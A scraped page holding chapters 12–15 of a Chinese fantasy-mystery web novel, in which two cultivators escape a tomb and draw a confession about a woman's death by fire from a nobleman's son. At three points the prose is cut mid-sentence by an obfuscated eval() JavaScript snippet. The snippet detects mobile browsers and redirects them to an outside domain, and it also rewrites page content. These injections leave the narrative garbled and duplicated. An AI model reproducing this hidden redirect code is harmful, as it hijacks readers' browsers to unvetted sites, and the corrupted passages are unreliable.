墓道行至某一段,两侧石壁上出现了不少浮雕,殷烬翎将油灯凑近些一瞧,一只生着竖瞳的眼睛正一瞬不瞬注视着她! 她心不免在胸腔里上下颠了颠,所幸进这古墓以后别的且不说,她胆子倒是练大了不少。 她定睛一看,竟是一枚打磨装点得极似眼瞳的光洁黑玉,原来这处浮雕刻的是一只巨大的猫,玉石便是猫在黑暗中圆睁的眼睛,但她仔细一打量,却又觉得这石壁上的兽类只是乍看与猫有些相似,但其头上的一对角,其身上凶戾的纹路,其漆黑的利爪,都表明了它并不是猫。更像是…… 梼杌? 殷烬翎想到了古书上记载的一种凶兽,其状如虎,额前生一对角,有吞天噬地之能。 可真要说这是梼杌那等凶兽,又觉得差点意思,还是更像一只大猫。 她转头正想招呼叶南扶一同来看,脚下突然传来一阵地动,紧接着半边身子就猝不及防地撞上了石壁。 12. 第 12 章 殷烬翎连忙伸手抓住叶南扶,以防像先前那样走散。 她感觉头晕目眩,整个墓道像是在旋转,只能一手牢牢扒住石壁,一手紧紧攥住叶南扶的手。 等到这阵变动过去后,她扶着额头站起来,却见原本墓道另一侧的石壁尽数消失,狭窄的空间顿时宽阔起来,眼前出现了一排向上的石阶,石阶不长,能遥遥望见上方尽头处有一扇低矮的门。 两人走上阶梯,发现这扇门竟然全无阻拦,一推即开,更令人惊诧的是,从门后竟有些许亮光照射进来,此处竟是荒山底下一个隐蔽的山洞。 这是……出来了?殷烬翎愣愣地想。 刚刚还在做着或许三五天都出不去的心里建设,转头一阵天旋地转,这出口就自己钻出来了,会不会太容易了些? - 清晨时分进的古墓,出来时已约莫是申时中了。 先是被宋大公子的病折腾了一整夜,后又在古墓里绕了将近一整日,况且又是那样需神经时刻保持紧绷的状态,骤然放松下来,殷烬翎只觉得格外的疲惫,虽尚有重重疑点和案情需要考虑,但现下她什么都不愿思索,只想着快些回去直睡上三日三夜。 她便从袖子里唤出长剑,站上去捏了个剑诀,便御剑飞了起来,只是这重量好像不太对劲…… 她一回头便见叶南扶正翘着二郎腿,老神在在地坐在剑柄上看风景。 “老哥。”殷烬翎拿脚尖碰碰他的腿,“你搁这搭便车呢?” “是啊,你想管我要路费?” “不是,哪有人搭乘别人飞剑的?你自个儿飞成不?自己动手丰衣足食。” 殷烬翎觉得自己没抬腿踢他下去已经是相当有涵养了,反正就算摔了以这货的生命力怕是连根头发都不会少。 “啊,我没灵力没法飞啊,你总不能让我再一路走回去吧?”叶南扶竟从袖子里掏出一块晚宴时偷藏的糕点,悠然自得地啃了一口。 “您老可别逗了,不是上古神兽,与天同寿嘛,怎么还能没有灵力?” “没开玩笑,是真的啊。我生命力无穷无尽不假,但没灵力也是事实啊。” “当真?”殷烬翎将信将疑。 “你身上带着试灵石不?试一试不就知晓了。” “我没带试灵石,你把手伸出来,让我用灵力探探你经脉就行。” 殷烬翎将不用捏剑诀的那只手往后伸了过去,接着感到一只修长有力的手握住了她的,掌心的温热触着她略显冰凉的指尖。 虽然之前叶南扶给她渡生命力时也碰过她的手,但彼时她刚从蛇口下惊险脱身,尚惊魂未定,况且生命力损失太多头目昏蒙,无暇去思考这些有的没的。 而如今已然离开古墓,心也不再提着了,自然而然地在心底升起一股奇异的感觉,没来由地面颊有些微微发热,脚下的剑不再平稳,飞得有几分颠簸,恰如她此刻跌宕不已的心境。 兴许是觉得这剑将她的情绪暴露无遗,她也不敢回首看,就这么任由他握着,默了良久都不曾开口。 坐在后头原本翘着二郎腿的叶南扶不知什么时候将腿放下了,坐姿难得的不歪斜懒散,竟是分外端正。他另一只手其实正握着一块试灵石,却并不作声,托着石头像是陷入了沉思。 良久,他叹了口气,将手中的试灵石悄无声息地塞了回去。 握了半晌之后,手心微微出了些薄汗,殷烬翎有些尴尬地动了动指尖,将手缓缓地抽离了这片是非之地。 虽心猿意马,姑且还是用灵力探了探的,至于探完之后有没有再多作停留就只有她自己心里清楚了。 叶南扶确实没有半分灵力。回想一下与他相识以来的种种,也的确没有任何使用灵力的迹象,袖里乾坤可以制在特殊的衣物上,不需要灵力也能使用,来荒山古墓时也是走着来的,替大公子治病时也只是叮嘱宋老爷切不可打扰,而并未在屋外设结界,古墓里也不曾使用过任何术法。 六界众生修行,修的皆是修为与灵力。吸纳天地灵气进入经脉中,储存起来为己所用,这便是灵力。修为境界决定了寿元长短,而灵力水平则决定了实力强弱。 无生界关于轮回的法则与往生界虽有不同,但两个世界对于修为和灵力的说法却大同小异。在往生界,非人之物拥有灵力方可称为妖,人修出灵力则可入仙途。 那么毫无半分灵力的叶南扶究竟算是什么呢? 像是看穿了殷烬翎的心思,叶南扶又恢复了东倒西歪的坐姿,百无聊赖地抠抠手指,道:“想问什么的话,不如我们来交换问题?” “嗯?你也有事想问?”殷烬翎奇道。 “自然。就只许你有疑惑?” “也行。那我先来没意见吧?”殷烬翎略向后瞥了一眼,“你究竟算什么东西?” “说得好好的,怎么张口骂人呢?” 殷烬翎:“……” 殷烬翎:“说好的交换问题,不要上来就插科打诨糊弄过去。” “我啊……姑且算是个神魔混血吧。”叶南扶道,“神兽乘黄与魔界三大家族之一的血麒麟族的混血,但实际上我的乘黄血统几乎占了全部,唯一能体现血麒麟特征的,也只有脖子后面的三块逆鳞。” “逆鳞?莫非是那什么‘龙有逆鳞,触之暴怒’的设定?” “不,并不会暴怒,只不过我觉得这么叫听起来比较酷帅狂霸。” 殷烬翎:“……” “那你为何毫无灵力?” “所谓物极必反,过犹不及。”叶南扶以手支着头,看向远处山峦道,“上苍令我生来在生命力一途走到极致,自然便封堵了其余的通路,这不是十分公平么?” 殷烬翎一时竟不知该如何回答,这话里明明感觉不到任何忧伤,却忍不住会去想他是否也曾有过年少轻狂,心怀壮志之时,却始终无法踏入修炼之途,独自怅叹过不知多少回。 “麻雀儿,该轮到我了吧,你都连问了两个问题了。” “啊,你说。” “我想问问——”叶南扶用指节轻轻叩着剑身,“你对现在的生活满意吗?” 殷烬翎:?? 你这话问的,会让人感觉你马上要给我介绍什么投资赚钱的项目。 但既然说好了交换问题, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658117|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽管问题离奇了点,殷烬翎还是老老实实回答了。 “不满意!”她一脸悲苦,“整日在温饱边缘挣扎,你一来,更是让这个本就不富裕的家庭雪上加霜。” “那你会想要改变吗?” 不是,这怎么越来越像是忽悠人给你的项目投钱的话术了。 殷烬翎摇了摇头:“虽然不甚满意,但我并不想改变现状。” “我很懒的,厌恶计划之外的变动,害怕适应未知的新生活,所以我觉得维持现状也没什么不好的。” 末了又严谨地补充道:“当然你如果是想要给我一大笔钱,那我也愿意接受这种小小的改变。” 叶南扶眯起眼笑:“那你接受失去这笔酬金的小小改变吗?” 殷烬翎顿时尖叫:“不愿意!先前不是说好了?我都答应会把你原原本本送回去,没道理还要侵占我的血汗钱吧?” - 两人出去都探完古墓回来了,那厢宋家却还没有从大公子病情好转的喜悦中回过神来。 甫一进门便见处处悬挂起了火红的灯笼,竟是在原先半途而废的夜宴规制上,又添了几分华彩,来庆贺宋大公子终于脱离了病榻。 不光如此,整个宋家宅邸各个仆役的口中都在竞相传递着这个喜讯,导致她一进院落,耳中便充满了各式各样的“宋大公子病好了”或是“宋大公子被仙人眷顾了”,甚至还有“宋大公子如今力能扛鼎、倒拔山河,一手下去你猜怎么着?揿翻了十头牛哇!”如上种种,简直令殷烬翎目瞪口呆。 不过这些现下都与她无关,她如今唯一想做的就是趴去榻上倒头便睡,虽然很想立刻去证实那些推测,但还是撑不住眼皮直耷拉下来,最终艰难地决定即便山崩地裂了也睡醒了再议。 然而她没料到,竟连这小小的卑微的愿望也成了奢求。 才将将睡到半夜,却被外头一阵急促地如同狂风骤雨般的敲门声惊醒,她扯了扯被子,将头埋进里面去,下定决心不予理会,谁知外头的人竟异常执着,不依不饶,大有她不起来便绝不罢休之势,甚至开始哭喊叫嚣。 “道姑!啊不对……姐姐,殷姐姐!不好了,求你快去看看吧!再晚点就要出大事了!” 殷烬翎在被窝里翻了个白眼,一听就知道是宋季言那个小崽子。她从被子里露出张嘴来,冲外面道:“天塌了也得等我睡饱了再说!” 宋季言反而更加急切了,语无伦次道:“真的不能耽搁了,我大哥,我大哥他,要被那个骗子,就那个,那个姓叶的,会被他打死的!” 啥?叶南扶要打死宋大公子?怎么可能。宋大公子病都是叶南扶给医好的,先不管他是不是直接灌生命力治的,但哪有治好了又要打死的事儿? 殷烬翎不信,继续缩着不为所动。 “是真的!因为……因为刚刚大哥去偷你前两天抓的那妖怪,给那姓叶的逮了正着,抓了大哥回房,我没敢去拦,只能跑来找你了。” 这下她有些躺不住了,长叹了口气,披了外衣便起身开门,对外头害怕得快要哭出来宋季言道:“带我去,路上顺便告诉我究竟怎么回事。” 13. 第 13 章 宋季言忙不迭地点头,带着殷烬翎朝叶南扶的住处而去。 叶南扶自正式拜会过宋老爷之后,便给安排了一处离殷烬翎所住客房相近的住处,但他平日还是常窝在殷烬翎那里蹭糕点零嘴吃或是聊些浑话,只这次探墓回来后两人双双回了自己房间倒头便睡。 “今日大哥又是被家里人问寒问暖,又是请来大夫复诊开了剂补药,直到下午才稍微得点空,他便悄悄找来我问那被抓的妖怪关在何处。我也不晓得他要做些什么,便说也许关在你房里,之后过了一会你们便回来了,都回了房睡觉。谁知他半夜竟把我叫起来说,他来你房里寻了一圈没寻着,我当时便惊了,虽估摸着应该是在那姓叶的房里了,但告诫他千万不能去,他满口答应,然而我还是不太放心就偷偷跟了出去,然后就见他被那姓叶的逮着了,我也不敢告诉别人,想来想去也只好来找你了。” 殷烬翎听罢,摇头叹道:“有些人,原本还想多留几日待证据确凿了再审问的,这么急赶着地撞上来。” 说话间到了叶南扶的住处,见他屋内果然还亮着灯,殷烬翎对一旁的宋季言道:“我去看看,倘若他要对大公子不利我一定拦着他,你便先回去睡吧。我保证明日定还你一个活蹦乱跳的大公子。” 宋季言杵着不动,还待再说,殷烬翎半蹲下来摸了摸他的头,接着他便双眼一合,整个人倒了下来,被殷烬翎一手接住,轻轻抱了起来。 殷烬翎上前去推门而入,便见宋伯乔被结结实实地捆在椅子上,叶南扶正坐在他隔了张桌案的对面,整个椅背往后倾,双脚就搁在桌案上边翘得老高。 见殷烬翎推门进来,叶南扶挑眉道:“你还真是喜欢不经允许就乱闯别人屋子啊,小麻雀。” “我是怕你又将才刚治好的人给吓晕了,到时候宋家又要追着我负责。” “无妨,吓晕了我当场就给你治好,横竖这里又没别人,我又多得是生命力。”叶南扶颇不在意。 殷烬翎正将怀里的宋季言在床榻上放下来,闻言便道:“嗬,你总算是承认了,你那所谓的治病不过就是给人灌生命力。” 叶南扶咂了咂嘴,意识到自己失言,索性破罐子破摔:“是又如何,我不照样把他从卧病不起,医得如今都能做那梁上君子了,是吧,宋大公子?” 被问到的宋伯乔颤了颤,微微低头不敢言语。 “哦,我险些忘了,这里到底还是你自己家,那火婴也是在你家擒的,你这行为算不算得上偷盗确实也不好说。”叶南扶绽开一个恶毒的笑容,“如何,要不要我带你去宋老爷那儿评判一番?” 冷眼旁观的殷烬翎不由在心底咋舌:这叶南扶平日里对她的冷嘲热讽看来竟还是留了情面的,与他对宋大公子的这一番嘲弄相较,还是小巫见大巫了。 “当然,不去也可以,我这里有两个小小的问题,但凡你能答上来任何一个,我即刻放你回去,并对今夜之事绝口不提,你知我知,外加这小麻雀知。”他伸手指了指殷烬翎,“绝不会有第四个人知道。” 宋大公子抬了抬眼,又快速低垂了下去,显然这个条件他是相当心动的,但也清楚地知道这问题必然是他难以回答的。 “第一,你如何知晓灵槐之死?” “第二,你告诉我,让你害怕到一病不起的,究竟是狗,还是灵槐?” “或者说,这两个问题也可以合并为一个。”叶南扶歪着头看向宋伯乔,尖锐的目光仿佛能收摄一切的隐匿心思,“你,究竟在隐瞒什么?” 先前在墓中推测出火婴便是灵槐之时,立刻便有一处疑点浮现出来。 宋伯乔曾在讲述时笃定地道“她死了”。 既然火婴如今尚在,灵槐未死,那么荒山脚下的灵槐之墓里,定然没有灵槐的尸首。 若诚如宋伯乔所言,他赶到时只见到灰烬残骸,作为一个如今还对灵槐念念不忘的痴情男子,为何不挖开来看看便轻易断定灵槐已死,并匆匆掩埋立墓? 而没有灵槐尸首,他又是如何笃定灵槐已死的?说不准起火时灵槐根本不在家呢?但他却丝毫没有考虑这种可能。 此外,他还在竭尽所能地想见那个被抓获的妖邪——即火婴,从夜宴那晚拖着病体受着风露也要出席,到今夜冒险潜入偷盗火婴。 宋伯乔曾说过,他觉得那个妖物“可能是灵槐”,他还一直认为灵槐会回来找他。 为何如此作想? 而且,在叶南扶告诉他,人死后留存于世的唯一方法便是化为怨灵后,他依旧坚持认为这妖物是灵槐,以至于今夜做出潜入偷盗的事来。 怨灵怨灵,自然是由怨而生,徘徊不去。他觉得灵槐心中有怨,必会来寻他。 在他描述病倒后的噩梦里,主角全都是灵槐,他惧怕的狗反倒更像是跟随灵槐出现的。这也暗示了,潜藏在他内心深处的那个恐惧源头,就是灵槐本身。 狗在他内心里,从始至终都是灵槐的代表,一见到狗,他就自然而然想到灵槐,故而惧怕、逃避。 因此,宋伯乔一边在害怕灵槐化为怨灵来祸害他,一边又期待着与她见面继而铤而走险。 以上两者合到一处,不难推断出一个大概来。 ——在十五年前,灵槐小屋起火那日,宋伯乔做了一件愧对灵槐的事。 当年,他亲眼看到,并确认了灵槐绝对无法活下来。尔后出于内心某种愧疚和逃避,又或是恐惧,他没敢掘开焦木烂瓦看一眼灵槐的尸首,匆匆便命人填土埋葬。 此次宋家起火案中,前两场火时伴随的狗叫令他忆起了灵槐,甚至于惊慌得一病不起、药石罔治,极有可能是灵槐死去当日,狗叫声给他内心造成了极其强烈的冲击,以至于看到起火、闻及狗叫,便忧虑深重,觉得灵槐要回来报复他了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672639|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 若是宋伯乔知道他们内心早已将事情推测得七七八八,指不定就心一横全招了,只可惜他还死犟着,妄图蒙混过关。 “自然……自然是看到了灵槐的尸首才知道她死的。至于为什么怕狗我不也说过了么,还要我交代些什么?” 殷烬翎在一旁翻了个白眼。 叶南扶耸耸肩,叹了口气,冷笑道:“也行,看起来你病好了,连带着胆子也大了不少,这回倒是不吓晕过去了。” “成。”叶南扶将搁得老高的脚撤下来,站起来伸展了下肩膀和胳膊,道,“虽然你同我说的话里不知掺了多少假,但我所言却是句句属实,我说此处没有妖邪作祟也绝不是宽慰之言。你不如仔细想想,你既然已确信家中绝无狗的存在,也没有邪祟生事,第二场火时怎么会有狗叫?” 他弯下腰,凑到宋伯乔耳边,轻声道:“有些东西可远比鬼怪可怕,大公子可想清楚了?” “言尽于此,大公子好自为之。” 说着,叶南扶便绕去宋伯乔身后替他松绑,殷烬翎微微一动想起身,被他甩来一个眼神制止,她撇撇嘴,靠回了椅背上,继续冷眼旁观。 宋伯乔起身,神色复杂地看了叶南扶一眼,后者却回以一脸无害的微笑。他朝门口迟疑地走了几步,步伐相当缓慢,也不知是身体尚未大好,还是被叶南扶三言两语搞得满腹心事。他的手搭上了门边,却顿住了,然后再无更进一步的动作。 半晌,他转过头,看向已经坐回椅子上却一条腿压在屁股底下毫无坐姿可言的叶南扶,道:“能劳烦叶公子和殷姑娘帮我一个忙吗?” 叶南扶冲殷烬翎笑了笑,宣告他在此番对峙中取得了胜利。 “哦?说来听听。兴许我正好闲来无事又有点古道热肠。” “我想找出,杀害灵槐的凶手。” 说完这一句,宋伯乔语气又有些犹豫起来:“昨日同叶公子讲述的事,大体上都是真实的,只是在灵槐遇害的那部分有所……欺瞒。” 他从门那处移步过来,却并不坐下,端正地立着,手指在背后绞着,显得分外局促。 “我确实不曾见到灵槐的尸体,那是因为我过去的时候,灵槐的小屋正燃着熊熊烈火,她的狗在狂吠乱叫着,我着急地扒着窗户,想看看灵槐有否逃出来时,透过冲天的火光,我看到了灵槐。” “她身上头上到处燃着火,她朝这侧转过头来,显然也看见了我,我还来不及出声叫她,便发现在她身旁,被烧落的橱柜挡住的地方还有一个人,我看不清面貌,但她竭力拉着那个人,那个人想推开她,两人推搡扭打间,她突然声嘶力竭地叫起来:‘跑啊,快跑!’” “我见到灵槐的样子时便已然呆住了,此时被这声叫唤骤然惊醒,还未来得及细想,身子已经先一步动了起来。” “不,我不是冲进屋里去救她,我掉头就跑。” 14. 第 14 章 “向来富足安逸的我此生从未跑得那么快,身后的小屋内灵槐的声音已经几不可闻,只剩下那条狗撕心裂肺铺天盖地般的狂吠。” “它不断地疯狂抓挠着墙面、门板,却无济于事,尖锐凄厉的叫声和呜咽声一直在我脑中飘荡、循环往复、绵延不绝、持续不灭,时至今日依然清晰地像一块掩不掉的丑陋疤痕,突兀地嵌在我那段痛苦的记忆里。” “待我跑出几里外仍然惊魂未定,便在山野间躲了起来,躲藏了几个时辰后,因忧心灵槐再度跑回去看时,却只剩下残灰余烬了。” “我没脸见灵槐,更不知该怎么面对她的尸体,况且那凶手也不知看没看到我的脸,指不定还躲在某处,等着我来挖灵槐的尸首,我便匆忙回了府,命刘管事……连灰烬一同埋了她。” “有时候我会忍不住想,若我当时能鼓起勇气,冲进去救灵槐,而不是被这景象一吓,便双腿发软心生退意,时至今日,灵槐是否还在我身旁呢?” “我无法面对自己因恐慌和胆怯害死了灵槐,更愧对灵槐舍命相救的情谊。我总觉得她定是在怪我的,那时她一定很害怕,即便她叫我跑,但她心里一定很希望有人能来帮帮她,能抛却生死,救她于刀山火海之中,可我却做不到,我只能撒腿就跑,像个彻头彻尾的窝囊废。” “她会变成怨灵回来找我吗?我不知道,因为此事,我已过而立之年都未曾娶妻。说实话不是不怕的,甚至有时想到,她说不定仍在此处徘徊,常常会怕得连做数天的噩梦,但是心里却隐隐有一份期待,不管以何种方式,不管她如今是何模样,是面目狰狞的恶鬼,还是已过往生桥、已尝孟婆汤,浑不知往事的转世孩童,即便我不知道将要以何种颜面见她,我都想见上她一面。” “见了她,然后呢?”叶南扶不为所动地插嘴道。 “啊……”宋伯乔显然没想到叶南扶会突然这么问,嗫嚅道,“就……见见她,看看她如今……” 他没声儿了,也许是他也发现了,即便见了又能如何。 “冥界有句话,人死灯灭。身前诸事,无关身后。”叶南扶往后靠着椅背,仰起头来看向宋伯乔,“若她当真成了怨灵倒还好说,但她分明从未回来过,你还在强求些什么?况且成为怨灵会承受不得轮回之苦,你希望她记恨你、报复你,永不得解脱?” “你想见她,究竟是抑不住对她的思念,还是只是想填补自己这十五年以来,愈来愈难平的愧疚?” “但凡对她还有真心,便别再用身前诸事叨扰她身后乃至转世。还有,愧疚这东西,是剜心蚀骨的毒药,一旦沾染上了,这辈子也别想摆脱它。” “好了,夜很深了,宋大公子请回吧。”叶南扶站起身来做了个送客的手势,“追查凶手之事我们会尽力的,但烦请大公子日后莫要混淆视听,或是妨碍我们捉凶除灵,也莫再行今晚这种多余之事。” 半推半请地将宋伯乔送出了屋子,叶南扶转身关上门,回来换了个姿势继续坐着,只是这次的姿势比前面稍好上一点,好歹没再将腿摆到奇怪的地方,然而手臂还是往后整条挂在椅背上的,明明还是原样的慵懒,神色间却犹如秋霜中孤立的青松,有种说不出的清冷之感。 殷烬翎站起来:“今日你话是不是多了点?” “有吗?我平常话就这么多。” “是嘛。大概是难得见你连说这么多正经话,却没夹着任何插科打诨,颇感稀奇罢了。”殷烬翎耸耸肩,不置可否,“只是你口口声声说着,你的话句句属实,却还是隐瞒了火婴便是灵槐。” “我的话属实与否,与我是否有所隐瞒,二者似乎不矛盾吧?” “倒是有那么点歪理。” “况且,这也并非我的意思。” 叶南扶抬起袖子,里头飞出一个晶莹的光珠,逐渐扩大成一个婴孩形状,尔后敛去光芒落到了叶南扶臂弯上。正是那火婴。 “是她的意思。”叶南扶驾轻就熟地,像揽着只猫儿似的抱着火婴,上手就揉起她的头发,“这小家伙敏锐得很,今晚宋伯乔一出现,她就立刻察觉了。方才审宋伯乔时,我便打开了袖里乾坤,她若是想与之见面,自己出来便是了,但她从始至终只是紧张地攥着我的袖子,并无丝毫离开的意图。” 顿了顿,他又补充道:“男人有些话,听听便算了,尤其是内心所思所想,这种事还不是任由他空口妄言。” “我原就没怎么放在心上。” 殷烬翎抬脚搁在了宋伯乔先前坐的椅子上,末了又略觉得不妥,不动声色地慢慢放了下来,心下直道:与叶南扶接触了好些日子,习惯都有些被他带跑了。 “我好歹是个已经在人界摸爬滚打了近五十年的老油条了,哪些话信他三分哪些话权当个乐子,还用你一个不知多少年没出门交际的阿宅来提醒?” “我本来也不是在同你说……”叶南扶低声道,但这声音几近低喃,殷烬翎听得有些含糊,正待再问之时,他提高了嗓音又道:“小麻雀,这会儿怎么又不困了,深更半夜还想赖在我房里不走?” 殷烬翎被叶南扶先前那神色弄得略有些酸涩的心情,瞬间让他这一句话给扫荡了个干净,她抬腿便给了叶南扶的椅子一脚,转身就走。 身后的叶南扶怪声怪气地呼喊道:“喂——你的拖油瓶落下了!” 殷烬翎折回来一把捞起床榻上昏睡的宋季言,片刻也不耽搁,抬步便走,即刻出了门,一脚把门重重地摔上,远远还能听到她咬牙切齿的声音:“迟早想办法宰了这个死宅!” 听到她脚步声远去,叶南扶将脸上的嬉笑之色尽数敛起,他仰天将头搭在椅背上,闭上眼长长叹了一口气,也不知是不是窝居时日太久了,如今才这一番不大的折腾便觉着有些累了。 似是想到了什么,他无端地轻笑出声:“从前那会而何曾有疲累之感,人真的不能不服老啊。” 殷烬翎气消得快,才踏出院落便已冷静了下来,倒不是她想的开,而是她知道叶南扶是在赶她回去。 只是…… “他这演得不太好,都被我看出来了。” 殷烬翎回头望了望刚出来的屋子,屋内的灯火摇曳了一下便熄灭了,整个天地陷入了一片静谧。 她忽然忆起他方才说的“内心所思所想,还不是任由空口妄言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687456|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”。 “那么,他这戏言诳语之下,又是怎样一番心思呢?” - 尽管多了满腹心事,但觉还是要睡的。 将宋季言送回他屋子后,殷烬翎一头栽进自己被子里睡了个天昏地暗日月无光,她从未像此刻一般,觉得睡觉竟是如此美妙的事,被子柔软得像是整个人裹在云朵里,浑身像浸泡在天池温热的池水中,和煦的日光夹着暖风倾泻在她脸上。 她眯起眼,觉得日光有几分刺眼,又揉了揉眼,努力看清了眼前的东西,那金光并非暖日,而是整整一箱金元! “殷姑娘对我们宋家有大恩,无以为报,老朽略备薄礼,还请姑娘务必收下。”宋老爷拱手作揖。 “哎,宋老爷太客气了,除邪诛恶乃是我仙家本职,您这礼着实过于重了些,在下受之有愧啊!” “有恩必报,这是我们宋家的祖训!姑娘再推辞,便是要我们宋家在江南城里都抬不起头来!” “这……”殷烬翎佯作为难道,“唉,于礼不合啊……但若是真的影响到宋家声誉,那在下便是冒大不韪也要帮这个忙的!” 殷烬翎险些掩不住笑容,在一箱黄金上又是摸又是看,还凑近了猛嗅一口。 啊!这金子的香味!我再也不是落魄的穷人了! …… “姓……叶公子,你快看看吧。” 啊,我的金子啊……她失落地在心里叹了口气。 她尚有些迷蒙,微微睁开一只眼,却跟叶南扶停在她脸上的视线撞了个正着,她连忙心虚地闭上眼,却发觉一只手正露在被子外,手腕教叶南扶扣住了,三指正煞有介事地搭在她寸口脉上。 “怎么办,我能帮上什么忙吗?”身后宋季言急得团团转。 叶南扶一本正经地按了几下脉,道:“你现在最重要的任务是去问问厨房,刚死的麻雀怎么煲汤比较可口。” 殷烬翎直接一拳挥了过去,叶南扶忙不迭地退开几步躲过这一击,转头对站在身后的宋季言抬了抬下巴道:“瞧,这不是治好了么。” “我还不晓得你那所谓医术的底细?”殷烬翎扯着被子坐起来,“我就睡个觉,这搞得以为我猝死了还是怎么的?” 叶南扶掀了掀嘴角嘲道:“你这一觉睡得够长啊,什么时候麻雀也要冬眠了?” “我睡了多久?”殷烬翎警觉起来。 “一天两夜。”叶南扶侧坐到床边沿上,“你再不醒,我怕是真要给你灌生命力了。” 殷烬翎无语:“你这已经破罐破摔,连装都不装直接说灌生命力了嘛?还有麻烦你别用画本里学来的的号脉手法来耍花架子成不?” “嘁,总好过你,梦里还舔着金子。” 殷烬翎顿时脸上青一阵红一阵,梗着脖子道:“怎么了,君子爱财,取之有道,又能说我什么!”说罢,仍觉得脸上有些挂不住,扯着被子就踢向叶南扶坐的地方:“没事就别杵在我房里,快给我滚蛋!” 叶南扶连忙伸手一把捉住她蹬得露出被子外的脚踝,触及温软细腻的肌肤他才猛然反应过来,一时间有些怔忡,不由放也不是,不放也不是。 15. 第 15 章 殷烬翎原本就因做一夜暴富的梦被发现,脸上有些发烫,如今又来这一出,更是让她一路红到了脖子根,只觉得叶南扶的掌心像是滚烫的热锅扣在那里,让她脚踝都要烧起来了。 如此僵持不下片刻,像是突然想起宋季言尚还在一旁,叶南扶扭头装模作样道:“她看上去是无虞了,但还要再号一下足上的趺阳脉确认一下,季言先回去吧。” “那……叶公子一定要治好殷姐姐啊……我先告辞了。” 宋季言完全不知道这两人在吵个什么东西,而且看殷烬翎像是没什么事的样子,早想着离开了,得了叶南扶这句话便告了声退出了屋子。 随着关门之声消弭在微妙的气氛里,屋内两人之间本就尴尬的场面愈发令人难堪。 殷烬翎强忍着才没把头整个儿缩进被子里,好盖住她那险些就能烫熟鸡蛋的通红脸颊,心内不断闪过诸如“啊啊啊啊啊我死了”“我不做人了”“年仅二百多岁的我为什么就要承受这些”“现在掐死他是不是就能解脱了”“啊差点忘了这家伙是死不了的,所以还是我现在原地去世比较可行”的可怕念头。 在殷烬翎尴尬症发作,眼看就将不治身亡之时,叶南扶面不改色悄无声息地将她的脚放了下来,正襟危坐道:“来理一下目前事情的进度吧。” 好生硬!这转折也太奇怪了吧?话题跟前文毫无任何关联吧! 而且看惯了你千奇百怪的坐姿,突然这么端坐怎么看怎么难受好嘛!你就不能显得随意一点,这么拘谨我怎么当作之前什么事都没发生啊! “啊,好的。”殷烬翎也坐直了身体,面上波澜不惊,“我先来归纳一下这一系列的案情。” “首先很显然,火并非宋伯乔所放。他对灵槐相关的事吞吐再三,先是装晕逃避,后又谎言敷衍,足以说明他不愿让别人知道灵槐之事。现在看来,其中原因有二,一是他为灵槐遇害时自己的懦弱行为而心存愧疚,不愿让人知晓;二是,他担心那位杀害灵槐的凶手还在找当年目击行凶后逃走的人,因为他不曾看到凶手样貌,故而只能对所有人都心存提防。” “如果我没猜错,你前日对宋伯乔说的‘有些东西可远比鬼怪可怕’,指的就是这个凶手吧?” 叶南扶颔首默认。 殷烬翎忍不住又瞥了他一眼。 求求你能不能换个姿势坐啊,别坐这么端正了,看得我浑身不舒服啊! 她接着道:“早先便有说过,此处宅邸并无任何妖邪作乱,那么家中无狗却出现狗叫的第二场火,必然是有人故意为之。这个纵火之人,定是知晓灵槐死亡内情,知道狗叫会令宋伯乔忆起灵槐死去那日,从而心生惧意惶惶不安。但是按宋伯乔对此事三缄其口的模样,他肯定不曾将此事告知任何人。所以他也清楚,这位知晓内情的纵火者没有别人,唯有那个杀害灵槐的凶手。正是想到了这一点,担心自己对狗叫表现出的巨大反应,已被凶手收入眼底,恐怕正伺机要杀他灭口,他这才将藏在心底的这些陈年心事都倒了出来,想获得我们的庇护,替他抓到凶手。” “如此看来,凶手很可能是想用纵火和狗叫,寻出当年他杀害灵槐时,那位在窗外的目击者,而且近日宋季言还说在厨房听到过狗爪声,这人很可能还潜伏在宋家宅邸里。” 殷烬翎一边托腮说着,一边不时用余光瞄一两眼叶南扶的坐姿。 好在意啊!他到底什么时候会换姿势啊?他已经端正地坐了足有一刻钟了,自我认识他以来从未有过! 殷烬翎又道:“第一场火位置并无特殊之处,而最主要的是,叫唤的狗是来自邻家的,宋伯乔顶多就是当时有些惊慌,但他事后了解情况并与邻家交涉过,应该不至于再多想。” “可凶手估计是在这次起火中,看出了宋伯乔在面对火和狗叫时的异常,为了确认此事才纵了第二场火。简言之,凶手符合的特征有,与宋伯乔年纪相仿,或者更年长些,入宋府时日不长,至少十五年前不在府内,否则宋伯乔在灵槐去世后突然开始厌恶狗,凶手不可能没有察觉。” 